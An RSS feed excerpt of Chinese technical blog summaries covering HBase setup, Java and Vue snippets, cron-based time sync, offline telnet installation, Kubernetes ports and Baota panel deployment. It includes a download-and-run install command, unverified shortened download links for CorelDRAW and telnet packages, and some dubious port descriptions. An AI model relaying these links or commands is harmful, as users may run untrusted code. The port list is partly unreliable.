      <description>文章目录 一、登陆系统（1）需用用户填写的登陆信息：（2）登陆操作进行了严格的判断：a:当用户没有输入任何信息就直接点击“登陆”进行登陆的时候，会根据输入框的顺序依次进行判断：b: 当用户开始输入信息点击“登陆”进行登陆的时候，会根据输入框的顺序再次进行判断： 二、主页面三、《预约安排》模块四、《客户接待》模块五、《维修派工》模块六、《维修领料查询》模块七、《维修领料》模块八、《维修退料》模块九、《完工确认》模块十、《结算出厂》模块十一：《快速修车》模块 项目名称：智百盛汽修管理系统 注：本项目只作为学习案例，仅供参考。 一、登陆系统 （1）需用用户填写的登陆信息： 1、账号2、密码3、验证码4、用户类型 （2）登陆操作进行了严格的判断： a:当用户没有输入任何信息就直接点击“登陆”进行登陆的时候，会根据输入框的顺序依次进行判断： 然后分别会给出如下提示：&#xA;1、用户名不能为空；2、密码不能为空；3、验证码不能为空；4、请选择用户类型！ b: 当用户开始输入信息点击“登陆”进行登陆的时候，会根据输入框的顺序再次进行判断： 然后分别会给出如下提示：&#xA;1、判断用户是否正确；2、判断密码是否正确；3、判断验证码是否正确；4、判断用户类型是否正确。 假如输入的信息全部都是不正确的，便会根据判断进行提示：然后分别会给出如下提示：&#xA;1、用户不正确；2、密码不正确；3、验证码不正确；4、用户类型不正确。 只有输入的信息全部都正确才可以顺利进入“智百盛汽修汽配”管理系统。&#xA;登陆页面如下图显示：&#xA;二、主页面 登陆进入主页面后，主页面的截图如下：&#xA;1、主页面在右上角的地方设置显示当前登陆的用户名（不是登陆的账户号，而是用户名），登陆时间（获取当前登陆的系统时间）和登陆时长（设置session，自动计时，不需要刷新页面，登陆的时长也会自动增加）&#xA;2、点击左边导航栏《汽修管理》按钮，进入汽修管理模块，页面截图如下：&#xA;三、《预约安排》模块 预约安排主要是针对需要前来修车的客户的预约登记，录入车主、维修车辆基本信息（若已是老客户，可直接导入信息）及修理项目。&#xA;♦登记车牌、车型、车主信息，方便后期查询车主资料。&#xA;♦修理单号、修理类别、金额、开单日期和预约维修日期、接车人。&#xA;♦修理项目（明细）、估计配件、其他费用、备注、保险索赔：方便维修人员进行维修领料，以及修理时的注意事项，还有后期保险索赔的办理。&#xA;然后点击《预约安排》按钮或者图标，都可以进入预约安排的页面进行相关的操作，页面截图如下：&#xA;本页面可以操作的功能分别有“新增”，“删除”，“保存”，“打印”，“查询单据”，“转维修单”，“审核”，“反审核”，“退出”。&#xA;首先请看预约安排单页面中的内容：&#xA;预约单号：该单号是自动生成的（由大写字母BJ+年月日时分/yyMMdd HHmm+登陆的账户号+0001组成），然后根据每一天的日期来自增，每天首单都是自动从0001开始递增。&#xA;对应维修单号：是不能输入的，是用于回填的，它来源于单据转维修单后，也是自动生成的。&#xA;开单日期和预约维修日期都是绑定当前的系统时间，车牌文本框中的“Go！”按钮可以点击，然后进入车牌模态框，页面如下：&#xA;该模态框的数据是客户是信息，可以在此录入客户的基本信息，即新增客户的基本资料，新增完也可以回填修改（单击表格中的任意行，即可将数据回填到右边对应的文本框中），“请输入车牌号快速查找”是迷糊查询车牌的，可以输入完整的车牌号或者一个号码匹配相对应的数据车辆，方便操作者的操作；然后是“选中”按钮，该按钮是把表格的数据选中回填到主页面的，也相当于双击表格中的数据进行回填，这里既可以选择“选中”按钮进行操作，也可以双击表格进行回填，两个功能都可以实现；接着是“新增”按钮，该按钮并不是真正意义上是新增数据，而是当你单击表格中的任意行，即可将数据回填到右边对应的文本框中，将所有的文本框中的数据进行清空，说白了就是一个清空按钮；然后是“保存”按钮，该按钮可以进行两个操作，第一是新增数据到数据库，第二是修改数据。这里编码的时候要注意。接着是“刷新”操作，该操作是实现刷新页面的作用，这里忽略，最后是“关闭”按钮，点击就关闭模态框。&#xA;PS：右边表格中的客户编号也是利用自动生成编号的原理实现的效果，最右下角是“修改复选框”是用来勾选修改数据的，不勾选回填的数据不能进行修改，只有把复选框选中才可以对数据进行修改的操作。&#xA;现在我们单击一条数据进行回填，回填到页面的效果如下：&#xA;剩余的文本框和下拉框需要用户手动去输入和选择；&#xA;接下来下面是明细表格的操作：&#xA;1、修理项目明细表格中：可以利用鼠标右键选择“添加”和“删除”两个操作，添加是继续添加一行，删除是从最后一行进行删除；&#xA;添加行后只需选中修理项目下拉框就可以把其他的数据进行绑定，然后只要再选择维修性质下拉框就可以了，若是需要更改，表格也是可以编辑的，直接在表格修改即可。&#xA;2、产品材料明细表格中：可以利用鼠标右键选择“添加”和“删除”两个操作，添加弹出另一个产品模态框，供用户选择需要的产品材料，如下图，删除是从最后一行进行删除数据；&#xA;该产品模态框也可以进行多种商品类型的模糊查询，首选可以选择快速查找旁边是下拉框，选择对应是数据，然后再在下拉框旁边是文本框输入与下拉框匹配的信息进行筛选，也可以点击左边的货品分类目录，进行筛选对应是数据，筛选到需要的收据就可以勾选（多条）相对应是数据前面的复选框，然后点击“确定”按钮进行回填到产品材料明细表格中，如果找的数据不满足需求还可以点击“新增加”按钮进入另一个模态框，然后又可以在该模态框输入你想要的信息，也可以上传图片，如下图，再进行保存，数据新增成功后就会刷新出现在产品模态框中，然后可以重复上面是操作回填就可以了。&#xA;3、其他费用明细表格中：可以利用鼠标右键选择“添加”和“删除”两个操作，添加是继续添加一行，删除是从最后一行进行删除，添加行后只需选中费用名称下拉框就可以把其他的数据进行绑定，若是需要更改，表格也是可以编辑的，直接在表格修改即可。如图：&#xA;接着再看“查询单据”按钮的操作，查询单据是数据来源于刚才主页面保存后的数据，点击“查询单据”弹出单据模态框，如图：&#xA;在该模态框中可以进行预约单号模糊查询和审核状态下拉框匹配查询，然后可以双击表格回填数据到主页面（或者单击数据再点击“确定”按钮，也可以回填），回填后还可以在主页面进行“审核”和“反审核”操作；&#xA;审核后的数据不允许更改，如下图，&#xA;反审核后的数据可以再次修改，如下图。&#xA;四、《客户接待》模块 客户接待主要是对前来修车的客户及维修基本资料进行登记，把修理的明细录入，以便后期进行查询。&#xA;♦登记车牌、车型、进厂里程、油量、车主信息、发动机号码：方便后期查询车主资料。&#xA;♦修理编号、类别、金额、进厂日期和结算日期、送修人电话：方便管理人员管理，联系送修人在相应的时间来取车。&#xA;♦修理项目（明细）、估计配件、其他费用、备注、保险索赔：方便维修人员进行维修领料，以及修理时的注意事项，还有后期保险索赔的办理。&#xA;在主页面点击《客户接待》按钮或者图标，都可以进入客户接待的页面进行相关的操作，页面截图如下：&#xA;本页面同样也是登记维修客户的基本资料，然后录入各种明细，具体操作参考《预约安排》模块；&#xA;然后点击“查询单据”，弹出单据模态框。如图：&#xA;该模态框是记录保存进去的数据，双击数据可以进行数据回填，如图：&#xA;五、《维修派工》模块 在《客户接待》模块中点击“转派工单”可以将对应的数据绑定过来，也就是回填，这里以选择单据回填后的数据来说明，回填后直接点击“转派工单”就可以将《客户接待》页面的数据绑定过来了，如图：&#xA;在此页面还可以点击“派工”继续添加明细行，每次添加一行，也可以点击“删除”按钮进行删除。同样可以点击“查询单据”进入单据模态框，如图：&#xA;在该模态框中可以进行维修单号模糊查询、单据状态、付款下拉框和车牌匹配查询，然后可以双击表格回填数据到主页面。&#xA;六、《维修领料查询》模块 处理送修车辆的配件问题，可以查询送修车辆领料和退料以及领料人资料，以便后期结算。&#xA;主要查询维修车辆需要的信息，然后在该页面进行“领料”和“退料”操作；新数据刚过来此页面时，都是显示“未领料”的状态，如下图：&#xA;然后领过料的就是“已领料”的状态，退过料的就是“已退料”的状态。如图显示：&#xA;在该页面中可以进行时间段的模糊查询，可以选择领料状况下拉框和输入车牌信息进行筛选。例如时间段查询效果如下（根据结算单日期查询，因为结算了才算是出厂时间）：</description>
    </item>
    <item>
      <title>【单片机毕业设计】【mcuclub-dz-081】基于单片机的家居环境监测设计</title>
      <link>https://bchobby.github.io/posts/09867d488d4eee2786a29fdff24a1107/</link>
      <pubDate>Fri, 10 Nov 2023 09:33:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09867d488d4eee2786a29fdff24a1107/</guid>
      <description>最近设计了一个项目基于单片机的家居环境监测设计，与大家分享一下： 一、基本介绍 项目名：基于单片机的家居环境监测（实物+仿真）的设计&#xA;项目编号：mcuclub-dz-081&#xA;单片机：STC89C52&#xA;功能简介：&#xA;1、通过震动传感器检测门是否被撬动，如果撬动，进行声光报警&#xA;2、通过分离式红外对射管检测是否有人翻越围墙，当检测到有人翻越围墙，进行声光报警&#xA;3、通过MQ-5检测可燃气体值，当可燃气体值大于设置最大值，进行声光报警&#xA;4、通过MQ-2检测烟雾值，当烟雾值大于设置最大值，进行声光报警&#xA;5、通过按键设置各阈值&#xA;6、通过LCD1602显示测量值&#xA;二、51实物图 单片机型号：STC89C52&#xA;板子为绿色PCB板，两层板，厚度1.2，上下覆铜接地。元器件基本上为插针式，个别降压芯片会使用贴片式。&#xA;供电接口：TYPE-C&#xA;三、51仿真图 仿真软件版本：proteus8.9&#xA;电路连线方式：网络标号连线方式&#xA;注意：部分实物元器件仿真中没有，仿真中会用其他工作原理相似的元件代替，这样可能导致实物程序和仿真程序不一样&#xA;四、原理图 软件版本：AD2013&#xA;电路连线方式：网络标号连线方式&#xA;注意：原理图只是画出了模块的引脚图，而并不是模块的内部结构原理图&#xA;五、PCB图 由原理图导出，封装很大一部分都是作者自己绘制，不提供封装库，只提供连接好的源文件。中间有一个项目编号，隐藏在单片机底座下，插入单片机后不会看到。&#xA;两层板，上下覆铜接地。&#xA;六、系统框图 本设计以单片机为核心控制器，加上其他模块一起组成此次设计智能家居环境监测的整个系统，其中包括中控部分、输入部分和输出部分。中控部分采用了单片机控制器，其主要作用是获取输入部分的数据，经过内部处理，逻辑判断，最终控制输出部分。输入由六部分组成，第一部分是烟雾检测模块，通过该模块检测当前环境的烟雾，通过模数转换芯片传入单片机中；第二部分是天然气检测模块，通过该模块检测当前环境的天然气浓度，通过模数转换芯片传入单片机中；第三部分是震动模块，通过该模块可以监测当前的门是否被撬动，如果发送撬动进行声光报警；第四部分是红外对射管模块，通过该模块监测是否有人翻墙；第五部分是按键模块，通过按键设置监测参数的阈值；第六部分是供电模块，通过该模块可给整个系统进行供电。输出由两个部分组成，第一部分是显示模块，通过该模块可以显示监测的数据以及设置的阈值；第二部分是声光报警模块，当监测值不在设置的阈值内或者监测到有人敲门或者翻墙时进行声光报警。具体系统框图如图3.1所示。&#xA;七、软件设计流程 八、部分程序展示 软件版本：keil5&#xA;逻辑程序和驱动程序分开，分布于main.c和其他.c文件&#xA;*******监测函数&#xA;*****/&#xA;void Monitor_function(void)&#xA;{&#xA;if(time_num % 10 == 0) //100ms检测一次&#xA;{&#xA;if(DO1 == 0)&#xA;smog_value = 50*((Adc0832_Get_Value(0)/255.0)*5); //获取烟雾浓度&#xA;else&#xA;smog_value = 0;&#xA;if(DO2 == 0)&#xA;fgas_value = 50*((Adc0832_Get_Value(1)/255.0)*5); //获取燃气浓度&#xA;else&#xA;fgas_value = 0;&#xA;}&#xA;}</description>
    </item>
    <item>
      <title>离线环境通过脚本实现服务器时钟同步（假同步）</title>
      <link>https://bchobby.github.io/posts/a6d37849f7c09acb99f81dd3955354b5/</link>
      <pubDate>Fri, 10 Nov 2023 08:57:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6d37849f7c09acb99f81dd3955354b5/</guid>
      <description>1、背景 最近遇到一个时钟同步问题，是内网多台服务器之间时钟不同步，然后部署在不同服务器间的应用展示得时间戳不能统一，所以用户让做一下内网服务器间得时钟同步。&#xA;内网服务器x86和arm都有，而且有得系统是centos有得是ubuntu，一开始是想用ntp、chrony这类得时钟同步工具，但是安装时才发现底层缺少各种依赖库。依赖库问题解决太痛苦了，所以就放弃了ntp、chrony这类需要安装得时钟同步工具，准备自己写一个时钟同步脚本。&#xA;2、思路 通过date命令可以设置服务器得时钟时间，只要所有机器定时从一台主服务获取时间并同步到自己服务器就可以做到假时钟同步得效果，这里之所以叫假时钟同步，是因为date命令只能设置到秒级别。&#xA;3、实现前得准备（免密登录） 因为要远程登录获取主服务器得时钟时间，所以要在从服务器生成密钥并发送到主服务。&#xA;生成密钥：ssh-keygen 分发密钥：ssh-copy-id node1 在客户端生成，都推送一份到要免密登录的服务器 4、编辑脚本 #!/bin/bash echo &#34;$(date)&#34; &amp;gt;&amp;gt; /opt/timer/test date -s &#34;$(ssh node1 &#39;date &#34;+%Y-%m-%d %H:%M:%S&#34;&#39;)&#34; 5、设置定时同步任务 执行如下命令进入编辑页面&#xA;crontab -e&#xA;在编辑页面添加如下定时任务（注意time_update.sh是上一步编辑得脚本，路径根据自己情况修改） * * * * * /opt/timer/time_update.sh</description>
    </item>
    <item>
      <title>ubuntu安装hbase、hadoop出现的问题及应对</title>
      <link>https://bchobby.github.io/posts/4eab6565312518079c3f6917d264e861/</link>
      <pubDate>Fri, 10 Nov 2023 02:16:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4eab6565312518079c3f6917d264e861/</guid>
      <description>部署真的hbase好累啊，留一份记录，等再崩溃了可以参考，也希望可以为像我一样崩溃的同学提供一份帮助&#xA;hadoop的安装参考问题4，我基本相当于重装了hadoop,在保留ssh等前置的条件下&#xA;首先按照教程，安装zookeeper和hbase&#xA;这里java版本使用8，使用apt下载openjdk&#xA;hbase-2.5.6，hadoop-3.3.6，zookeeper-3.8.3&#xA;注意hbase和zookeeper使用bin的&#xA;zookeeper下载地址 到2023年11月9日为止，最新的LTS是3.8.3&#xA;hbase下载地址 到2023年11月9日为止，最新的LTS是2.5.6&#xA;问题1 Error: JAVA_HOME is not set&#xA;解法：在hbase/conf/hbase-env.sh里添加. /etc/profile&#xA;即使用. /etc/profile的JAVA_HOME&#xA;~/.bashrc&#xA;在这个文件夹里写&#xA;export JAVA_HOME=你的JAVA地址&#xA;也是方法，但如果未来要修改JAVA地址，就很麻烦了&#xA;问题2 无法进入16010&#xA;且jps无Hmaster&#xA;解法&#xA;问题3 成功进入node1:16010,但显示&#xA;Failed to become active master due to:Call From node1/192.168.189.128 to node1:8020 failed on connection exception: java.net.ConnectException: 拒绝连接; For more details see: ConnectionRefused - HADOOP2 - Apache Software Foundation (since 2sec ago)&#xA;然后发现​telnet node1 8020​&#xA;显示telnet: Unable to connect to remote host: Connection refused​</description>
    </item>
    <item>
      <title>电商项目之Java8函数式接口落地实践</title>
      <link>https://bchobby.github.io/posts/319440637dabc349446f54c528f11ea1/</link>
      <pubDate>Thu, 09 Nov 2023 23:56:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/319440637dabc349446f54c528f11ea1/</guid>
      <description>文章目录 1 问题背景2 前言3 多处重复的重试机制代码4 优化后的代码5 进一步优化 1 问题背景 在电商场景中，会调用很多第三方的云服务，比如发送邮件、发起支付、发送验证码等等。由于网络存在抖动，有时候发起调用后会拿到500的状态码，io exception等报错，因此需要重新调用，简称重试机制。项目中很多地方用到重试机制，导致很多重复的代码，因此笔者考虑使用Java8函数式接口优化该重试机制，抽成一个工具类方法。&#xA;2 前言 本文的代码中，可能有些类型没有给出代码，不需要纠结，主要了解函数式接口怎么应用即可 3 多处重复的重试机制代码 项目中多次出现的代码如下：&#xA;BasicResponse&amp;lt;String&amp;gt; response = null; int retryTimes = 0; do { try { String startTimeStr = DATE_TIME_FORMATTER.format(LocalDateTime.now()); response = restTemplate.postForString(basicRequest); // 此行代码是可变的，可能是get方式请求，可能是post方式 String endTimeStr = DATE_TIME_FORMATTER.format(LocalDateTime.now()); PayReq logObject = PayReq.getLogObject(payReq); log.info(&#34;XXXPay payOrder, request:{}, response:{}, startTimeStr:{}, endTimeStr:{}, retryTimes:{}&#34;, JSON.toJSONString(logObject), JSON.toJSONString(response), startTimeStr, endTimeStr, retryTimes); } finally { if (response != null &amp;amp;&amp;amp; !response.getCode().equals(HttpStatus.SC_OK)) { try { Thread.</description>
    </item>
    <item>
      <title>CC（smart3D）生成OSGB格式的倾斜模型</title>
      <link>https://bchobby.github.io/posts/6f5bea336812ad869c17492bed9d0bbc/</link>
      <pubDate>Thu, 09 Nov 2023 23:55:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f5bea336812ad869c17492bed9d0bbc/</guid>
      <description>1、创建新项目（项目名与文件目录最好一致用英文）；&#xA;创建新项目前要先打开CC的engine，&#xA;engine的项目目录与新建的项目储存目录要一致，然后打开master，创建一个新项目；&#xA;2、添加block（也可以在创建新项目时勾选创建新block）；&#xA;点击项目名旁边的加号，添加new block；或右击项目名，在选项卡new capture中找到new block；&#xA;3、添加照片&#xA;添加了block之后，右击Block_1，点击add photos添加照片；&#xA;4、空三；&#xA;照片添加完成后，submit aerotriangulation进行空三测量；&#xA;也可以右击Block_1提交空三；&#xA;直接进行空三测量，设置默认，完成后可在3D View页面看到空三结果；&#xA;注意：在运行master的同时，engine要保持打开，否则会无法进行空三处理；&#xA;5、建模；&#xA;在建模之前，可以在圈出的两个页面中修改模型的范围；&#xA;在Reference Model中，可以通过touchup选中多余的部分直接删改；&#xA;在Spatial Framework中，可以通过移动box的框架切割出需要的矩形区域；&#xA;也可以使用polygon功能直接自定义需要的区域，切割完成后点击accept；&#xA;如果需要处理的区域过大，可以通过切块进行处理，块的大小应与区域大小及使用的电脑性能有关，&#xA;修改范围后就可以开始建模了；&#xA;选择QSGB格式；&#xA;选择EPSG：4547坐标系；&#xA;提交建模；&#xA;最后的结果可用其他软件观看；</description>
    </item>
    <item>
      <title>Easypoi map方式导入数据 ，List＜Map＜String, String＞＞ 日期项数据为空（null）解决办法</title>
      <link>https://bchobby.github.io/posts/c890c20029d9483879a19ef441ed2fc5/</link>
      <pubDate>Thu, 09 Nov 2023 23:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c890c20029d9483879a19ef441ed2fc5/</guid>
      <description>目录 前言解决办法 前言 在使用easypoi map的方式解析excel文件，若文件中的某列数据格式是日期类型，那么它这个工具是读取不到，因为它的源码读取到某列为日期格式，数据必须为字符串类型，它才会处理&#xA;switch (cell.getCellType()) { case STRING: result = cell.getRichStringCellValue() == null ? &#34;&#34; : cell.getRichStringCellValue().getString(); break; case NUMERIC: if (DateUtil.isCellDateFormatted(cell)) { if (&#34;class java.lang.String&#34;.equals(classFullName)) { result = formateDate(entity, cell.getDateCellValue()); } } else { result = readNumericCell(cell); } break; case BOOLEAN: result = Boolean.toString(cell.getBooleanCellValue()); break; case BLANK: break; case ERROR: break; case FORMULA: try { result = readNumericCell(cell); } catch (Exception e1) { try { result = cell.</description>
    </item>
    <item>
      <title>vue 子页面通过暴露属性，实现主页面的某事件的触发</title>
      <link>https://bchobby.github.io/posts/f420cfa4efcd70cdf1bdf041883d803c/</link>
      <pubDate>Thu, 09 Nov 2023 22:55:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f420cfa4efcd70cdf1bdf041883d803c/</guid>
      <description>目录 1.前言2.代码2-1 子页面2-2 主页面 1.前言 需求：当我在子页面定义了一个定时器，点击获取验证码，计时器开始倒计时，在这个定时器没有走完，退出关闭子页面，再次进入子页面，定时器此时会被刷新，但是我的需求是，再次进去子页面时，只要上次的计时器没有走完，就继续走，那么，这时候就可以通过暴露属性事件，去触发主页面的事件&#xA;具体思路：在主页面定义也定义一个处理的定时器的事件，当在子页面点击获取验证码，开始倒计时，同时调用这个暴露的事件，&#xA;那么，这时，主页面就会触发定时器事件，然后将这个倒计时的数据提取出来（当然肯定有其他的方法去处理，但是我不太会前端，只有想到这种方式，还望大佬指点）&#xA;2.代码 2-1 子页面 2.1.1 定义属性，将其暴露出来&#xA;props: { withdrawals: { type: Object, default() { return {} }, }, withdrawalWaitTime:{ type: Number, default: 0 }, handWithdrawalWaitTime:{ type: Function, default: null }, closeWithdrawals: { type: Function, default: null } } 2.1.2 在钩子函数里定义一个处理每次的计时，每次从主页面过来时，都会携带一个计时参数 withdrawalWaitTime，根据这个值进行一个具体多久的倒计时&#xA;async mounted() { await this.fetchData() this.handMobile() this.handWithdrawalWaitTime2() }, methods: { handWithdrawalWaitTime2(){ this.isWithdrawalsVerify = true this.coolDownTime = this.withdrawalWaitTime this.interval = setInterval(() =&amp;gt; { this.</description>
    </item>
    <item>
      <title>CorelDRAW 2024中文版功能全面解析</title>
      <link>https://bchobby.github.io/posts/b0ce3e690c61d31c904c14898ed3cd24/</link>
      <pubDate>Thu, 09 Nov 2023 22:50:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0ce3e690c61d31c904c14898ed3cd24/</guid>
      <description>CorelDRAW 2024中文版是一款由世界顶尖软件公司之一加拿大的Corel公司开发的图形图像软件；CorelDRAW 支持logo设计、网络图片、标志设计。全新的学习指导工具，提供一站式的图片修改功能，附带功能强劲的点阵图向矢量图转化的工具，提供超过10000种的剪贴画供您轻松调用；CorelDRAW还融合了绘画与插图、文本操作、绘图编辑、桌面出版及版面设计、追踪、文件转换、高品质输出于一体的矢量图绘制软件，并且在工业设计、产品包装造型设计，网页制作、建筑施工与效果图绘制等设计领域中得到了极为广泛的应用。&#xA;设计软件市场中，CorelDRAW和Adobe Illustrator（简称AI）无疑是两大重量级选手。它们各自拥有庞大的用户群和丰富的功能，但究竟哪一个更好用？本文将从多个角度出发，对这两款软件进行全面而深入的比较，以助你做出更明智的选择。&#xA;CorelDraw win-安装包：https://souurl.cn/rVgCFH&#xA;CorelDraw mac-安装包：https://souurl.cn/wACzg6&#xA;CorelDRAW和AI哪个好用&#xA;一、CorelDRAW和AI的基础功能比较&#xA;1. 界面与操作性&#xA;CorelDRAW以其友好和直观的界面受到许多用户的青睐，特别是对于初学者来说，找到各种工具和选项相对更为简单。相比之下，AI的界面虽然也很专业，但由于功能更加强大，相应地界面也更加复杂。&#xA;CorelDRAW界面&#xA;2. 绘图工具&#xA;AI以其强大的绘图工具而著名，尤其是在路径编辑、图层管理以及矢量图设计方面。CorelDRAW虽然在这些方面也有不错的表现，但相对而言，还是稍逊一筹。&#xA;3. 格式支持&#xA;CorelDRAW的一个优点是能支持多种文件格式，包括一些较老的格式，这在某些特定场合下会非常有用。AI则更注重与Adobe系列软件的兼容性。&#xA;二、CorelDRAW和AI的高级功能对比&#xA;1. 版本稳定性&#xA;多年的软件开发经验使得CorelDRAW在版本稳定性上有着出色的表现。用户反馈的问题和BUG能得到快速的响应和修复。AI在稳定性上面尚待优化，使用过程中要多注意保存。&#xA;2.图层管理&#xA;CorelDRAW提供非常直观和灵活的图层管理功能。您可以轻松地创建、隐藏、锁定或重新排序图层，这对于复杂项目的管理至关重要。&#xA;虽然AI也具备强大的图层管理功能，但与CorelDRAW相比，其界面更为复杂，新手可能需要更多时间去适应。&#xA;CorelDRAW&#xA;3.文本编辑和排版功能&#xA;CorelDRAW在文本编辑和排版方面表现得非常出色。它不仅提供了丰富的字体和样式选项，还支持复杂的文本路径和变形，极大地提高了文本设计的灵活性。&#xA;AI虽然也在这方面具有高度的专业性，但其文本编辑和排版选项相对较少，对于一些高级的排版需求可能无法完全满足。&#xA;4.兼容性和扩展性&#xA;CorelDRAW能够兼容多种文件格式，并且支持各种插件和扩展工具。这使得设计师能够灵活地与其他软件和平台进行交互。&#xA;AI虽然也支持多种格式，但更多地是优化了与Adobe其他软件的兼容性，对于非Adobe产品的支持相对较弱。&#xA;三、CorelDRAW和AI的应用场景&#xA;1. 平面设计&#xA;在平面设计方面，两者都有出色的表现。然而，由于CorelDRAW更加强大和专业，因此在高级和复杂的设计项目中，CorelDRAW可能是更好的选择。&#xA;平面设计&#xA;2. 印刷与出版&#xA;CorelDRAW长期以来都是印刷和出版行业的重要工具，特别是在名片、宣传单和标志设计等方面。而AI由于其出色的色彩管理和高分辨率输出能力，也经常被用于出版物设计。&#xA;3. 网络与多媒体&#xA;AI因其与Adobe全家桶的无缝集成，更适合用于网络和多媒体设计。无论是UI设计，还是动画和视频编辑，AI都有着更广泛的应用。&#xA;综合以上各方面，CorelDRAW和AI各有优缺点，选择哪一个更好用实际上取决于你具体的需求和应用场景。如果你是一个初学者或者需要处理多种文件格式，CorelDRAW可能更适合你。而如果你追求更高级的设计功能和更广泛的应用范围，那么AI无疑是更好的选择。</description>
    </item>
    <item>
      <title>信创统信UOS手动安装telnet工具</title>
      <link>https://bchobby.github.io/posts/64d208d2ee6a97a00794a1cce79f4ed8/</link>
      <pubDate>Thu, 09 Nov 2023 18:38:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64d208d2ee6a97a00794a1cce79f4ed8/</guid>
      <description>摘要 在安全层面要求比较高的地方的服务器一般不支持联网，因此即便你的系统安装的apt、yum等命令也不能用于下载一些需要联网的工具或软件包，因此在这儿我要说的是手动安装telnet工具，按照如下步骤：亲测可用。&#xA;操作步骤 1.首先我们需要知道目前我们操作系统是什么？&#xA;uname -a 还有就是一般在Linux的/etc目录下找到文件名有release的文件，就能知道你的系统基本信息了。&#xA;2.检查当前服务器能够使用的命令，比如：yum、apt、rpm、dpkg命令&#xA;由于当前服务器是在没网的情况下，因此，yum和apt命令不能用于安装，我们就看是否能够使用rpm和dpkg的命令。rpm --version和dpkg --version 如下图所示：能够使用dpkg命令，而不能使用rpm命令。&#xA;3.下载关于telnet的安装文件&#xA;由于系统原因，所以我们在选择安装包的时候只能选择.deb文件的安装包，如果是能够使用rpm命令的话也可以下载.rpm文件。&#xA;小编在此已经给大家准备好了arm64.server的telnet安装包.deb文件&#xA;百度网盘链接：https://pan.baidu.com/s/1qpQ1KPDt7GlECc5LTpNjLA&#xA;提取码：aoh7&#xA;4.上传到服务器（任意位置）&#xA;5.切换到你上传的目录下（cd /你存放telnet的目录）&#xA;6.使用dpkg执行安装命令&#xA;sudo dpkg -i telnet_0717.deb 安装好之后，稍等一下，它会自动生效。&#xA;7.验证&#xA;telnet ip 端口 使用telnet 远程你想要连接的服务器。</description>
    </item>
    <item>
      <title>k8s各组件端口</title>
      <link>https://bchobby.github.io/posts/e1f640ff3c506dc86277e27d817c2824/</link>
      <pubDate>Thu, 09 Nov 2023 18:19:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1f640ff3c506dc86277e27d817c2824/</guid>
      <description>kube-proxy 10249：用于节点上的kubeproxy的健康检查和状态查询。&#xA;10256：用于NodePort服务的负载均衡。&#xA;portpool（30000-32767）：NodePort服务的端口范围，这些端口用于外部流量访问Kubernetes集群中的服务。&#xA;kubelet 10250：kubelet API服务器的端口，用于集群中的其他组件（如kube-scheduler、kube-controller-manager、kubectl）与kubelet进行通信。此端口通常由Kubernetes的授权策略进行保护，只允许授权用户或组访问。&#xA;10255：kubelet的只读端口，用于提供节点的健康状况以及容器运行时信息的监控数据。&#xA;10248：kubelet的非安全端口，用于提供节点的健康状况以及容器运行时信息的监控数据。此端口不受Kubernetes的授权策略保护。&#xA;36888：kubelet启动时随机分配的端口，用于处理容器日志收集器fluentd的日志转发请求。&#xA;kube-schedule 10251：kube-scheduler和kube-apiserver组件之间的通信端口，用于接收来自kube-apiserver的调度请求，并将调度结果返回给kube-apiserver。&#xA;10259：kube-scheduler和kubectl之间的通信端口，用于获取当前的集群调度状态，并进行一些操作，如手动重新调度Pod等。&#xA;kube-controller 10252：kube-controller-manager和kube-apiserver之间的通信端口，用于接收kube-apiserver发送的请求，包括同步cluster state、管理Pod副本数、节点状态等。&#xA;10257：用于提供/metrics和/healthz等信息，包括kube-controller-manager的运行状态、性能指标等。&#xA;kube-apiserver 6443：通过该端口可以访问Kubernetes API服务器的RESTful API，从而实现对Kubernetes集群的管理和控制。通过kube-apiserver，可以进行集群的配置、资源调度、容器编排、应用部署等操作。&#xA;etcd 2379：etcd客户端和etcd节点进行数据读写的端口&#xA;2380：etcd集群内部节点之间进行同步的端口&#xA;2381：用于监控etcd性能指标的URL列表。</description>
    </item>
    <item>
      <title>玩转宝塔，持续更新</title>
      <link>https://bchobby.github.io/posts/cd43ee587ed5668f8df5223293f38ccc/</link>
      <pubDate>Thu, 09 Nov 2023 17:46:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd43ee587ed5668f8df5223293f38ccc/</guid>
      <description>用了下宝塔是真的比较爽，这里介绍下安装&#xA;1.linux安装宝塔 linux服务器直接安装输入就好&#xA;yum install -y wget &amp;amp;&amp;amp; wget -O install.sh https://download.bt.cn/install/install_6.0.sh &amp;amp;&amp;amp; sh install.sh ed8484bec 1.1安全操作 尽量把多余的端口都关闭，只暴露一个80端口，首先要做的就是把宝塔面板的地址进行映射。这里有个大坑映射内网地址的时候用宝塔一开始安装提供的内网地址，别再用外网的。&#xA;server { listen 80; server_name {你的IP地址}; #SSL-START SSL相关配置 #error_page 404/404.html; ssl_certificate {pem文件绝对路径}; ssl_certificate_key {key文件绝对路径}; ssl_session_timeout 5m; #请按照以下协议配置 ssl_protocols TLSv1.2 TLSv1.3; #请按照以下套件配置，配置加密套件，写法遵循 openssl 标准。 ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE; ssl_prefer_server_ciphers on; #SSL-END # 端口转发（来个超复杂只有你知道的id保证安全） location /{来个uuid} { proxy_pass {宝塔提供的内网地址}; } } 2.部署项目 2.1安装套件 这里直接访问，套件的话直接就安装，我ftp没用所以这个没装。&#xA;2.2添加项目 找到网站，选择java项目添加站点，没有安装的会弹出tomcat我这里用8，jar和war都可以&#xA;这里就是你直接选中你的项目，他就把端口，执行命令这种都给你配好了，非常丝滑，你就改改端口号就可以，然后直接启动。&#xA;2.3端口转发 这个一般是建议做下，就是你项目启动在8080端口，然后转发到8088类似这种，隐藏内部真正的端口号，这是基于nginx实现的。&#xA;开启外网映射，然后点击配置文件，我这里还配置了域名加了个server_name（记得多解析个二级域名，这里碰到一个坑解析只要输入二级域名的名字，比如你申请的是www.test.com，只要解析个demo就好，但是别输入demo.test.com），映射到了80端口。&#xA;2.4打开安全组规则 